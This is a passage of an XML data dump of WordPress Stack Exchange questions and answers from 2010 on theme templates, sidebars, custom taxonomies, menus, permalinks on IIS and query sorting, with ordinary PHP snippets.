  <row Id="2233" PostTypeId="1" AcceptedAnswerId="2238" CreationDate="2010-09-26T17:37:48.000" Score="0" ViewCount="569" Body="&lt;p&gt;I'm using a child of the &lt;code&gt;twentyten&lt;/code&gt; default theme and I want to hide the sidebar on some pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the solution for that?&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2010-09-27T01:34:31.130" Title="How can I hide the sidebar on specific pages?" Tags="&lt;sidebar&gt;&lt;theme-twenty-ten&gt;" AnswerCount="3" />
  <row Id="2234" PostTypeId="2" ParentId="2233" CreationDate="2010-09-26T17:47:07.233" Score="1" ViewCount="" Body="&lt;p&gt;create a new page template, simply duplicate the current page.php or index.php. remove the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_sidebar();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and place a template title at the top of the file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template: No-Sidebar Template&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can choose that when publishing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This will probably impact on your styles, may need to tweak your stylesheets.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-26T17:47:07.233" />
  <row Id="2235" PostTypeId="1" CreationDate="2010-09-26T20:38:40.173" Score="0" ViewCount="52" Body="&lt;p&gt;One day it's there, the next it's gone. What's more is when I search for the results say &quot;Showing 1-1 of 2 plugins&quot; (which is another version of our plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives? Anyone have an idea of what's going on? &lt;/p&gt;&#xA;" LastActivityDate="2010-09-26T20:38:40.173" ClosedDate="2010-09-26T23:29:00.347" Title="My WordPress plugin is no longer showing up in the WordPress directory" Tags="&lt;plugins&gt;&lt;directory&gt;" CommentCount="3" />
  <row Id="2236" PostTypeId="2" ParentId="2230" CreationDate="2010-09-26T21:46:39.740" Score="4" ViewCount="" Body="&lt;p&gt;There's an excellent post &lt;a href=&quot;http://www.evolutionarydesigns.net/blog/2010/07/08/external-comment-systems-may-not-be-the-best-option-for-a-blog-owner/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; which, while it might not be completely balanced (it sets out from the start that it is against external commenting systems), it offers a good view of the cons of such systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick summary of three main points (a mixture of my personal opinions and from the blog post):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Comments are stored externally - you no longer have 'possession' of the comments on your blog - they are stored by somebody else, physically away from the rest of your blog&lt;/li&gt;&#xA;&lt;li&gt;Comments are often loaded in via AJAX &lt;em&gt;after&lt;/em&gt; the page has loaded, or even after they are in the viewport which can make your site appear slower to your readers&lt;/li&gt;&#xA;&lt;li&gt;Issues with your comments 'provider' may disable comment functionality - if there is a problem on IDs side you will not be able to do anything about it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-09-26T21:46:39.740" CommentCount="1" />
  <row Id="2237" PostTypeId="1" CreationDate="2010-09-26T23:42:26.763" Score="2" ViewCount="364" Body="&lt;p&gt;Pre WordPress 3.x I was using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;add_action( 'init', 'product_register' );&#xA;add_filter( 'wp_page_menu', 'custom_page_nav', 90 );&#xA;&#xA;function product_register()&#xA;{&#xA;    //    register_post_type( 'product', $args );&#xA;&#xA;    register_taxonomy( &quot;catalog&quot;, array( &quot;product&quot; ), array( &quot;hierarchical&quot; =&gt; true, &quot;label&quot; =&gt; &quot;Catalogs&quot;,&#xA;        &quot;singular_label&quot; =&gt; &quot;Catalog&quot;, 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_in_nav_menus' =&gt; true,&#xA;        'show_tagcloud' =&gt; true, 'query_var' =&gt; true, &quot;rewrite&quot; =&gt; true, 'public' =&gt; true, 'capability_type' =&gt; 'post' ) );&#xA;    //'_builtin' =&gt; false,'_edit_link' =&gt; 'post.php?post=%d',&#xA;    ////////////////////////////////////////////////&#xA;&#xA;}&#xA;&#xA;function custom_page_nav( $menu )&#xA;{&#xA;    $taxonomy = 'catalog';&#xA;    $orderby = 'name';&#xA;    $show_count = 0; // 1 for yes, 0 for no&#xA;    $pad_counts = 1; // 1 for yes, 0 for no&#xA;    $hierarchical = true; // 1 for yes, 0 for no&#xA;    $title = '';&#xA;&#xA;    $args = array( 'taxonomy' =&gt; $taxonomy, 'orderby' =&gt; $orderby, 'show_count' =&gt; $show_count, 'pad_counts' =&gt; $pad_counts,&#xA;        'hierarchical' =&gt; $hierarchical, 'title_li' =&gt; false, 'echo' =&gt; false, 'empty' =&gt; true, 'hide_empty' =&gt; true,&#xA;        'depth' =&gt; 0 );&#xA;    $links .= wp_list_categories( $args );&#xA;    //  $links .= wp_list_categories( array( 'title_li' =&gt; false, 'echo' =&gt; false, 'empty' =&gt; true ) );&#xA;    $menu = str_replace( '', 'Prodcuts ' . $links . '&lt;/li&gt;', $menu );&#xA;    //&#xA;    return $menu;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do the same thing with the New WordPress 3.x menus.&lt;br&gt;&#xA;Using another post on here I was able to figure out how to make a new menu but not add the custom taxonomy items to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;function register_typenav()&#xA;{&#xA;    $mainnav = wp_get_nav_menu_object( 'Products' );&#xA;&#xA;    if ( ! $mainnav )&#xA;    {&#xA;        $menu_id = wp_create_nav_menu( 'Products' );&#xA;        // vav item for each post type&#xA;        $types = get_post_types( array( 'exclude_from_search' =&gt; false ), 'objects' );&#xA;&#xA;        foreach ( $types as $type )&#xA;        {&#xA;            if ( ! $type-&gt;_builtin )&#xA;            {&#xA;                wp_update_nav_menu_item( $menu_id, 0, array( 'menu-item-type' =&gt; 'custom', 'menu-item-title' =&gt; $type-&gt;&#xA;                    labels-&gt;name, 'menu-item-url' =&gt; get_bloginfo( 'url' ) . '/' . $type-&gt;rewrite['slug'] . '/',&#xA;                    'menu-item-status' =&gt; 'publish' ) );&#xA;            }&#xA;        }&#xA;        if ( $mainnav &amp;&amp; ! has_nav_menu( 'primary-menu' ) )&#xA;        {&#xA;            $theme = get_current_theme();&#xA;            $mods = get_option( &quot;mods_$theme&quot; );&#xA;            $key = key( $mods['nav_menu_locations'] );&#xA;            $mods['nav_menu_locations'][$key] = $mainnav-&gt;term_id;&#xA;            update_option( &quot;mods_$theme&quot;, $mods );&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'init', 'register_typenav' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1051" LastActivityDate="2010-09-28T08:11:38.427" Title="How to Programically add to the new WordPress menus" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="2238" PostTypeId="2" ParentId="2233" CreationDate="2010-09-27T00:35:34.050" Score="4" ViewCount="" Body="&lt;p&gt;Actually, Twentyten has a no-sidebar page template already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fJDDf.jpg&quot; alt=&quot;before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify the template option in the page edit screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MOtsZ.jpg&quot; alt=&quot;Template Option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And viola:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7l8eA.jpg&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-09-27T00:35:34.050" />
  <row Id="2239" PostTypeId="2" ParentId="2233" CreationDate="2010-09-27T01:34:31.130" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;conditional template tags&lt;/a&gt; on your standard page file template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ! is_page('page_name')){ get_sidebar();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ! is_page(page_id) ){ get_sidebar();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also pass an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_page(array(42,'about-me','About Me And Joe')) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-09-27T01:34:31.130" />
  <row Id="2240" PostTypeId="1" AcceptedAnswerId="2243" CreationDate="2010-09-27T02:01:28.397" Score="0" ViewCount="107" Body="&lt;p&gt;Is it possible to control the size of the window that is opened with &lt;code&gt;comments_popup_link()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1052" LastActivityDate="2010-09-27T05:05:30.873" Title="How to control size of comments popup window?" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="2241" PostTypeId="1" AcceptedAnswerId="2249" CreationDate="2010-09-27T03:53:27.267" Score="1" ViewCount="224" Body="&lt;p&gt;This is partly a follow up to my earlier question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1905/how-can-i-make-a-site-viewable-in-multiple-languages&quot;&gt;How can I make a site viewable in multiple languages?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out the client wants to have the content manually translated, rather than using something like Google's translation tools. With that in mind, my first thought is to use a multisite installation with subdirectories, i.e. site.com/en/, /fr, /cn, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the most logical way to achieve the desired result. Keep in mind only the content needs to be in multiple languages, not the admin interface.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-11-03T00:08:48.163" Title="Should I use a multisite installation to achieve a multi-language site?" Tags="&lt;multisite&gt;&lt;multi-language&gt;" AnswerCount="3" />
  <row Id="2242" PostTypeId="1" AcceptedAnswerId="2244" CreationDate="2010-09-27T05:01:54.657" Score="1" ViewCount="673" Body="&lt;p&gt;I recently stumbled upon this blog on &quot; Using IIRF URL Rewriting on IIS6 with WordPress&quot; ( &lt;a href=&quot;http://john-sheehan.com/blog/using-iirf-url-rewriting-on-iis6-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://john-sheehan.com/blog/using-iirf-url-rewriting-on-iis6-with-wordpress/&lt;/a&gt; ) by John Sheehan as I installed a WordPress site I developed on my Mac OS X running MAMP and then ported the site to a MS IIS6 Windows 2003 Server environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going to the home page all works fine but then all my other pages could not be found - 404. My site is setup with PermaLinks in WordPress 3.0.1 where I am using the Custom Structure /http:/www.mysite.com/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an example permalink for one of my pages that cannot be found is &lt;a href=&quot;http://www.mysite.com/aboutus&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/aboutus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading up on this, I am assuming the reason my pages cannot be found is because of my .htaccess file not being compatible on IIS 6 server as this is an Apache only file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, to cut a long story short, looking at the site/blog entry above, regarding the use of IIRF URL Rewrite and me being a complete newb to rewriting URLs, I have the following queries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) To achieve my Permalink Custom Structure of /http:/www.mysite.com/%postname%/ what would my Rule's File look like, so that WordPress on IIS 6 will actually find my pages described above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) What is the name of this file and where (location) on the Web Server do I place the Rule file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) Do I need to remove my current .htaccess file within my WordPress directory that holds my site on IIS 6?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1053" LastActivityDate="2010-09-27T09:57:17.203" Title="WordPress 3.0.1 on IIS 6 Web Server PermaLink Issues" Tags="&lt;3.0.1&gt;&lt;url-rewriting&gt;&lt;iis&gt;" AnswerCount="2" />
  <row Id="2243" PostTypeId="2" ParentId="2240" CreationDate="2010-09-27T05:05:30.873" Score="2" ViewCount="" Body="&lt;p&gt;According to docs it is set by function that sets up script for this functionality:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/comments_popup_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_popup_script(width, height, 'file');&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T05:05:30.873" CommentCount="1" />
  <row Id="2244" PostTypeId="2" ParentId="2242" CreationDate="2010-09-27T05:11:32.640" Score="1" ViewCount="" Body="&lt;p&gt;Documentation on &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Using Permalinks&lt;/a&gt; suggest this post for &lt;a href=&quot;http://john-sheehan.com/blog/using-iirf-url-rewriting-on-iis6-with-wordpress/&quot; rel=&quot;nofollow&quot;&gt;setting them up on IIS 6&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T05:11:32.640" CommentCount="2" />
  <row Id="2245" PostTypeId="1" CreationDate="2010-09-27T05:44:21.967" Score="0" ViewCount="135" Body="&lt;p&gt;I've installed recently WordPress (I guess it should be 3.0? cannot find easily the version number) and my first post appears only the title (linked) and to see the full text one must click the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting for displaying the full text of a post instead of the title?&lt;/p&gt;&#xA;" LastActivityDate="2010-09-27T16:59:09.113" Title="Displaying the full text instead of post title" Tags="&lt;settings&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="2246" PostTypeId="2" ParentId="2230" CreationDate="2010-09-27T06:00:49.017" Score="0" ViewCount="" Body="&lt;p&gt;I simply did not like that on pages where I had comments disabled it still showed the Intense Debate stuff and just said that it had been disabled.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-27T06:00:49.017" />
  <row Id="2247" PostTypeId="2" ParentId="1591" CreationDate="2010-09-27T06:15:38.707" Score="0" ViewCount="" Body="&lt;p&gt;Try upgrading to 1.0.3?&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-09-27T06:15:38.707" />
  <row Id="2248" PostTypeId="2" ParentId="2245" CreationDate="2010-09-27T06:48:50.273" Score="1" ViewCount="" Body="&lt;p&gt;Try to see inside your index.php file. If it have &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt; inside the loop. Also watch inside your post in admin and don't put any &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tags inside your content. This method show all the content on the main page.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-27T06:48:50.273" />
  <row Id="2249" PostTypeId="2" ParentId="2241" CreationDate="2010-09-27T06:55:26.787" Score="1" ViewCount="" Body="&lt;p&gt;no you can use a single instalation of your WordPress and use this plugin &lt;a href=&quot;http://wpml.org&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; for setup your multilangual site. Keep multiple installations for any language is not a good idea.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-27T06:55:26.787" CommentCount="2" />
  <row Id="2250" PostTypeId="2" ParentId="2221" CreationDate="2010-09-27T07:43:09.837" Score="0" ViewCount="" Body="&lt;p&gt;you can embed your Google Calendar in your sidebar or normaly in your page. Look this page for Google API Reference: &lt;a href=&quot;http://code.google.com/apis/calendar/gadgets/&quot; rel=&quot;nofollow&quot;&gt;Google Calendar APIs and Tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-27T07:43:09.837" />
  <row Id="2251" PostTypeId="2" ParentId="2218" CreationDate="2010-09-27T07:53:52.810" Score="1" ViewCount="" Body="&lt;p&gt;Try to re-upload the wp-includes and wp-admin folders from a fresh download of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-27T07:53:52.810" />
  <row Id="2252" PostTypeId="2" ParentId="2190" CreationDate="2010-09-27T08:20:56.207" Score="0" ViewCount="" Body="&lt;p&gt;I used Intende Debate in the past, then i migrate my site to new host i had some problems and i'm deleting my account. Had a lot of troubles with this service. Now i'm using &lt;a href=&quot;http://disqus.com/overview/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-09-27T08:20:56.207" />
  <row Id="2253" PostTypeId="2" ParentId="2245" CreationDate="2010-09-27T09:45:27.130" Score="0" ViewCount="" Body="&lt;p&gt;You need to find what is called &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;the loop&lt;/a&gt;. It startes a little bit like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finishes like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In between these two points, you can include any number of &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt;. These tags tell wordress which parts of the post you would like to see, examples include &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_title&quot; rel=&quot;nofollow&quot;&gt;the_title()&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;the_content()&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_permalink&quot; rel=&quot;nofollow&quot;&gt;the_permalink()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_date&quot; rel=&quot;nofollow&quot;&gt;the_date()&lt;/a&gt;. These will print that data to the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this instance, you need to find the loop that is displaying your titles (if it as untouched installation, and you are on the front page, probably the index.php from within your theme folder), find the opening line of the loop and slot in the line . This will display all of the content of the post. If this proves too much for that page, you can change it to &lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2010-09-27T12:01:19.183" LastActivityDate="2010-09-27T12:01:19.183" />
  <row Id="2254" PostTypeId="2" ParentId="2242" CreationDate="2010-09-27T09:57:17.203" Score="0" ViewCount="" Body="&lt;p&gt;We recently had the same problem. Adding index.php to the start of your custom permalink settings should solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ours looks like /index.php/%year%/%monthnum%/%category%/%postname%/ and works perfectly for all our posts and pages.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-27T09:57:17.203" />
  <row Id="2255" PostTypeId="1" CreationDate="2010-09-27T13:09:29.373" Score="3" ViewCount="881" Body="&lt;p&gt;(&lt;strong&gt;Moderators note&lt;/strong&gt;: Was originally titled &lt;em&gt;&quot;How to get_posts of a custom post type that is in two custom taxonomies?&quot;&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type that has two taxonomies which are separate, one called &lt;em&gt;&quot;Project Type&quot;&lt;/em&gt; and one called &lt;em&gt;&quot;Package&quot;&lt;/em&gt;. I need to get a list of projects which are of &lt;em&gt;&quot;Project Type&quot;&lt;/em&gt; &lt;code&gt;A&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;em&gt;&quot;Package&quot;&lt;/em&gt; &lt;code&gt;A&lt;/code&gt;. I tried using following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'post_type' =&amp;gt; 'portfolio', &#xA;  'numberposts' =&amp;gt; -1, &#xA;  'project_type' =&amp;gt; 'A', &#xA;  'package' =&amp;gt; 'A'&#xA;); &#xA;$my_posts = get_posts($args);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this gets all the posts that are &lt;em&gt;EITHER&lt;/em&gt; in Project Type A OR Package A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to say in &lt;code&gt;get_posts()&lt;/code&gt; that I want to return only those posts that are in &lt;em&gt;BOTH&lt;/em&gt; taxonomies?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-16T21:00:31.640" LastActivityDate="2010-10-17T05:55:23.287" Title="Getting the Intersection of Two Custom Taxonomy Terms for a Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;get-posts&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="2256" PostTypeId="2" ParentId="2255" CreationDate="2010-09-27T13:31:27.363" Score="0" ViewCount="" Body="&lt;p&gt;Usual disclaimer - I hadn't messed with custom stuff myself so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think complex taxonomy queries are not implemented in WP core (yet). Try &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T13:31:27.363" CommentCount="2" />
  <row Id="2257" PostTypeId="1" AcceptedAnswerId="2262" CreationDate="2010-09-27T13:59:05.627" Score="0" ViewCount="419" Body="&lt;p&gt;I'm using query_posts to sort order certain categories.&#xA;My code look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('category_name=abs&amp;amp;orderby=meta_value_num&amp;amp;meta_key=field_ordering&amp;amp;order=DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does show post in exact sorting model as I specify.&#xA;However, query above doesn't display that post doesn't have &lt;code&gt;meta_key&lt;/code&gt; 'field_ordering' set in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, I don't want to set it on ALL post, but I still can display the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2010-11-17T12:02:35.047" LastActivityDate="2010-11-17T12:02:35.047" Title="Custom query with query_posts doesn't show post without certain meta_key" Tags="&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="2259" PostTypeId="1" AcceptedAnswerId="2260" CreationDate="2010-09-27T14:30:53.423" Score="1" ViewCount="66" Body="&lt;p&gt;Is there any tool online that can quickly populate a WordPress3 database with faux information to assist in theme development? Perhaps creating 8 categories, inserting a dozen or so posts into each, adding a thumbnail for each, etc.&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-09-27T14:37:01.360" Title="WP Northwind for Theme Development?" Tags="&lt;3.0&gt;&lt;plugin-recommendation&gt;&lt;theme-development&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="2260" PostTypeId="2" ParentId="2259" CreationDate="2010-09-27T14:37:01.360" Score="2" ViewCount="" Body="&lt;p&gt;Just today read &lt;a href=&quot;http://speckyboy.com/2010/09/26/dummy-content-filler-resources-for-wordpress-drupal-and-joomla-developers/&quot; rel=&quot;nofollow&quot;&gt;Dummy Content Filler Resources&lt;/a&gt; post that has several sets of data and plugins for WordPress listed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T14:37:01.360" CommentCount="1" />
  <row Id="2261" PostTypeId="1" AcceptedAnswerId="2265" CreationDate="2010-09-27T14:39:10.373" Score="1" ViewCount="308" Body="&lt;p&gt;The script below creates a listing of the categories in the site (excluding those in &quot;uncategorized&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd like to modify it so that it only lists the top level categories (no child categories)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $cat_args = array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h);&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-27T15:41:56.533" Title="List categories and exclude child categories" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="2262" PostTypeId="2" ParentId="2257" CreationDate="2010-09-27T14:44:10.713" Score="2" ViewCount="" Body="&lt;p&gt;Well, you can't sort by field that isn't there. You can modify query conditionally only in those categories which have that field and let default query work in rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_category('abs') )&#xA;    query_posts(&#xA;    array_merge(&#xA;    array('orderby' =&amp;gt; 'meta_value', &#xA;                  'meta_key' =&amp;gt; 'field_order', &#xA;                  'order' =&amp;gt; 'Desc' ),&#xA;    $wp_query-&amp;gt;query&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-27T14:44:10.713" />
  <row Id="2263" PostTypeId="2" ParentId="2261" CreationDate="2010-09-27T15:23:15.140" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$cat_args = array('orderby' =&amp;gt; 'name', 'show_count' =&amp;gt; $c, 'hierarchical' =&amp;gt; $h);&#xA;$cat_args['title_li'] = '';&#xA;$cat_args['exclude_tree'] = 1;&#xA;$cat_args['depth'] = 1;&#xA;wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the 'depth' argument to your array. Check out the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;Codex Page&lt;/a&gt; for full documentation of the function.&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2010-09-27T15:23:15.140" CommentCount="1" />
  <row Id="2264" PostTypeId="1" AcceptedAnswerId="2278" CreationDate="2010-09-27T15:36:26.993" Score="1" ViewCount="171" Body="&lt;p&gt;This idea is just to protect certain sections of my theme from over-zealous clients. I would like to add pages, that exist in the front end and can be added to the menu (using wordpress 3.0 api) but the page NOT be present in the 'Pages' dialogue in the admin panel, and is thus not user editable.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-28T10:17:21.827" Title="Can you call a template file without assigning template to a page in the admin panel?" Tags="&lt;page-template&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2265" PostTypeId="2" ParentId="2261" CreationDate="2010-09-27T15:41:56.533" Score="1" ViewCount="" Body="&lt;p&gt;After some trial and error, this is what it took to make it work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $cat_args = array('orderby' =&amp;gt; 'count');&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    $cat_args['exclude'] = 1;&#xA;    $cat_args['depth'] = 1;&#xA;    wp_list_categories(apply_filters('widget_categories_args', $cat_args));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-09-27T15:41:56.533" />
  <row Id="2266" PostTypeId="1" AcceptedAnswerId="2277" CreationDate="2010-09-27T15:45:47.930" Score="0" ViewCount="418" Body="&lt;p&gt;I was surprised to learn that custom taxonomies aren't added as body or post classes like categories and tags are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this will be added in a future version of WordPress, but in the meantime I need to add a custom taxonomy to the post class so that I can style post in a certain category in that taxonomy differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd be most elegant to filter the post class and add the taxonomies to it. &lt;a href=&quot;http://www.wprecipes.com/wordpress-hack-automatically-add-post-name-to-the-body-class%29;&quot; rel=&quot;nofollow&quot;&gt;I found a snippet&lt;/a&gt; to pull off a similar trick with the body class, but I haven't been successful in adapting it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function wpprogrammer_post_name_in_body_class( $classes ){&#xA; if( is_singular() )&#xA; {&#xA;  global $post;&#xA;  array_push( $classes, &quot;{$post-&amp;gt;post_type}-{$post-&amp;gt;post_name}&quot; );&#xA; }&#xA; return $classes;&#xA;}&#xA;&#xA;add_filter( 'body_class', 'wpprogrammer_post_name_in_body_class' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A bit more crudely, I thought about using the_terms function to create my own classes for the custom posts, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;&amp;lt;?php the_terms( $post-&amp;gt;ID, 'taxonomy', '', 